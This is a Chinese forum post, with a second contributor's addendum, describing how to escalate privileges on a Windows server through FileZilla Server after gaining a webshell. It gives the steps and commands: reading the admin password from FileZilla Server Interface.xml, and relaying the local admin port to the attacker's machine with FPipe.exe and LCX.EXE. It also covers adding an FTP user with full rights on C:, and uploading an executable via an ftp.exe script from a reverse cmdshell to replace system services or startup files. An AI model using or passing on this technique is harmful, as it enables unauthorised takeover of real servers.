王渊 發表於 2012-6-29 16:29:44

曲折的FileZilla Server提权之路

<p>首先明确一下以下三个要素:</p>
<p>一、FileZilla Server安装路径,为得到FileZilla Server Interface.xml文件提供条件。<br />
二、本地FileZilla Server要与服务器版本兼容,不然会提示版本不同,协议错误。<br />
三、FileZilla Server中FileZilla Server Interface.xml文件保存了管理口令。<br />
明白以上三点后现在就是尝试如何连接到服务器上的FileZilla Server。<br />
首先查看FileZilla Server Interface.xml中的内容</p>
<p><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode9"><br />
&lt;FileZillaServer&gt;<br />
      &lt;Settings&gt;<br />
            &lt;Item name="Last Server Address" type="string"&gt;127.0.0.1&lt;/Item&gt;<br />
            &lt;Item name="Last Server Port" type="numeric"&gt;14147&lt;/Item&gt;<br />
            &lt;Item name="Last Server Password" type="string"&gt;qwertyu&lt;/Item&gt;<br />
            &lt;Item name="Always use last server" type="numeric"&gt;0&lt;/Item&gt;<br />
            &lt;Item name="User Sorting" type="numeric"&gt;0&lt;/Item&gt;<br />
      &lt;/Settings&gt;<br />
    &lt;/FileZillaServer&gt;   <br /></div><br />
name=&quot;Last Server Address&quot; type=&quot;string&quot;<br />
127.0.0.1为服务器IP,此处默认定义为127.0.0.1绑定在本地,不是绑定在0.0.0.0所以只能本地连接上去。<br />
name=&quot;Last Server Port&quot; type=&quot;numeric&quot;<br />
14147为FileZilla Server管理连接端口,默认值14147<br />
name=&quot;Last Server Password&quot; type=&quot;string&quot;<br />
qwertyu为管理口令,此处口令为安装时自定义,要在此文件中得到口令必须在配置中勾取保存口令选项。<br />
现在说说实际中比较BT的状况如何处理。<br />
服务器对外只开放80,得到权限为webshell,服务器唯一安装第三方软件为FileZilla Server。数据库为Ms-SQL2005,无Systemadmin权限账户,现有数据库账户为DB权限,禁止了一切与数据库有关的备份功能。<br />
测试网络环境,对外开放80,shell中netstat -an中看到有21,80,1433,3389三个外部端口,内部端口有14147。经测试发现,除80端口外其余全部无法连接。<br />
如上情况下,要取得服务器权限能用到的只能是FileZilla Server。当然,从外部看,服务器确实十分健硕,但从内部看的话还是有机可乘的。首先明确下第一目的,首先要做的是得到FileZilla Server的管理权限,但是FileZilla Server的管理端口绑定在127.0.0.1:14147上,外部是无法访问到的。<br />
要得到外部访问权限我们可以用LCX开发的LCX.EXE端口反弹转发程序实现,但是在现实测试的时候发现FileZilla Server对于网络环境要求非常之高,这也是FileZilla Server的访问协议造成的,直接用LCX.EXE转发是极不稳定的(在光纤环境下测试也连接不上)。再者网上的唯一一份FileZilla Server提权教程中提到了FPipe.exe程序。FPipe.exe程序为实现端口转发功能而开发的,其作用可将本地端口监听数据转发功能。在当前 条件下,即使将本地绑定端口转发到外部端口也是连接不上的,估计是硬防。<br />
现在可以知道环境是极其BT的,寻找突破的道路是需要发掘的,我的方法是,用FPipe.exe将14147端口转发到外部其他端口,再用LCX.EXE 将FPipe.exe端口转发出来。FPipe.exe -v -l 1234 -r 14147 127.0.0.1。本地LCX.EXE -LISTEN 1234 14147。服务器上LCX.EXE -SLAVE 本机IP 1234 服务器IP 1234。这样就能实现本地连接了,但是还是对网络环境要求很高的。<br />
然后本地连接上FileZilla Server管理,然后添加一个FTP用户,用户目录设置为C:勾取所有权限操作选项。FileZilla Server添加FTP用户的工作就结束了。<br />
现在是提升权限的问题了,FileZilla Server不比serv-U,可以quote site exec执行dos命令(不知道是不行还是有其他参数可以实现,我不懂...)要实现提权的话可以FTP登录上去操作文件管理,如替换系统服务、替换系统 文件、将程序置于启动目录等等。<br />
现在的问题是服务器开放了21端口,但是外部是不能访问的,FTP端口转发出来也不稳定,极易断开。现在办法是直接从服务器上登录服务器FTP。反弹一个cmdshell,然后写个ftp自动处理脚本<br />
open 127.0.0.1 21<br />
user<br />
pass<br />
put soft.exe 存放目录<br />
bye<br />
然后本地ftp.exe -s:ftp.txt就能实现本地上传本地了。就此,以FileZilla Server提升权限也实现了。<br />
&nbsp;</p>
<p>下面其他网友的补充:</p>
<p>FileZilla Server应该好多牛人都知道怎么提权的了吧,很简单的,我再啰嗦一次<br />
管理员密码以及端口都是保存在FileZilla Server Interface.xml文件里的<br />
FileZilla Server Interface.xml内容大致如下</p>
<div class="jb51code">
<pre class="brush:xml;">
&lt;FileZillaServer&gt;
&lt;Settings&gt;
&lt;Item name=&quot;Last Server Port&quot; type=&quot;numeric&quot;&gt;14147&lt;/Item&gt;
&lt;Item name=&quot;Last Server Password&quot; type=&quot;cool&quot;/&gt;
&lt;Item name=&quot;Always use last server&quot; type=&quot;numeric&quot;&gt;1&lt;/Item&gt;
&lt;Item name=&quot;User Sorting&quot; type=&quot;numeric&quot;&gt;0&lt;/Item&gt;
&lt;Item name=&quot;Last Server Address&quot; type=&quot;string&quot;&gt;127.0.0.1&lt;/Item&gt;
&lt;/Settings&gt;
&lt;/FileZillaServer&gt;</pre>
</div>
<p>端口是14147 密码是cool 其中14147是管理端口 例如su的43859一样</p>
<p>FileZilla Server.xml文件是保存ftp用户密码用的 FileZilla Server.xml用户密码是32位加密的md5<br />
FileZilla Server.xml大致内容如下:</p>
<p>&nbsp;</p>
<div class="jb51code">
<pre class="brush:xml;">
&lt;FileZillaServer&gt;
&lt;Settings&gt;
&lt;Item name=&quot;Admin port&quot; type=&quot;numeric&quot;&gt;14147&lt;/Item&gt;
&lt;/Settings&gt;
&lt;Groups/&gt;
&lt;Users&gt;
&lt;User Name=&quot;abc&quot;&gt;
&lt;Option Name=&quot;Pass&quot;&gt;900150983cd24fb0d6963f7d28e17f72&lt;/Option&gt;
&lt;Option Name=&quot;Group&quot;/&gt;
&lt;Option Name=&quot;Bypass server userlimit&quot;&gt;0&lt;/Option&gt;
&lt;Option Name=&quot;User Limit&quot;&gt;0&lt;/Option&gt;
&lt;Option Name=&quot;IP Limit&quot;&gt;0&lt;/Option&gt;
&lt;Option Name=&quot;Enabled&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;Comments&quot;/&gt;
&lt;Option Name=&quot;ForceSsl&quot;&gt;0&lt;/Option&gt;
&lt;IpFilter&gt;
&lt;Disallowed/&gt;
&lt;Allowed/&gt;
&lt;/IpFilter&gt;
&lt;Permissions&gt;
&lt;Permission Dir=&quot;E:&quot;&gt;
&lt;Option Name=&quot;FileRead&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;FileWrite&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;FileDelete&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;FileAppend&quot;&gt;0&lt;/Option&gt;
&lt;Option Name=&quot;DirCreate&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;DirDelete&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;DirList&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;DirSubdirs&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;IsHome&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;AutoCreate&quot;&gt;0&lt;/Option&gt;
&lt;/Permission&gt;
&lt;/Permissions&gt;
&lt;SpeedLimits DlType=&quot;0&quot; DlLimit=&quot;10&quot; ServerDlLimitBypass=&quot;0&quot; UlType=&quot;0&quot; UlLimit=&quot;10&quot; ServerUlLimitBypass=&quot;0&quot;&gt;
&lt;Download/&gt;
&lt;Upload/&gt;
&lt;/SpeedLimits&gt;
&lt;User Name=&quot;abc&quot;&gt;是用户名 &lt;Option Name=&quot;Pass&quot;&gt;900150983cd24fb0d6963f7d28e17f72&lt;/Option&gt; 是用户密码
&lt;Permission Dir=&quot;E:&quot;&gt;
&lt;Option Name=&quot;FileRead&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;FileWrite&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;FileDelete&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;FileAppend&quot;&gt;0&lt;/Option&gt;
&lt;Option Name=&quot;DirCreate&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;DirDelete&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;DirList&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;DirSubdirs&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;IsHome&quot;&gt;1&lt;/Option&gt;
&lt;Option Name=&quot;AutoCreate&quot;&gt;0&lt;/Option&gt;</pre>
</div>
<p>该用户的权限<br />
好了下面介绍下怎么利用吧,只需要把14147端口转发出去,然后利用管理密码登陆进去添加用户即可<br />
演示一下好了<br />
把端口转发出去</p>
<p><img src="https://img.jbzj.com/file_images/article/201705/20170504214241.jpg" alt="" /></p>
<p>再本地打开FileZilla Server输入IP端口密码</p>
<p><img src="https://img.jbzj.com/file_images/article/201705/20170504214242.jpg" alt="" /></p>
<p>表示成功了</p>
<p><img src="https://img.jbzj.com/file_images/article/201705/20170504214243.jpg" alt="" /></p>
<p>剩下的自己可以添加ftp用户为所欲为了,关于怎么添加用户我不啰嗦了,很简单的,实在不会就去下载个中文版的就好了</p>
頁: [1]
查看完整版本: 曲折的FileZilla Server提权之路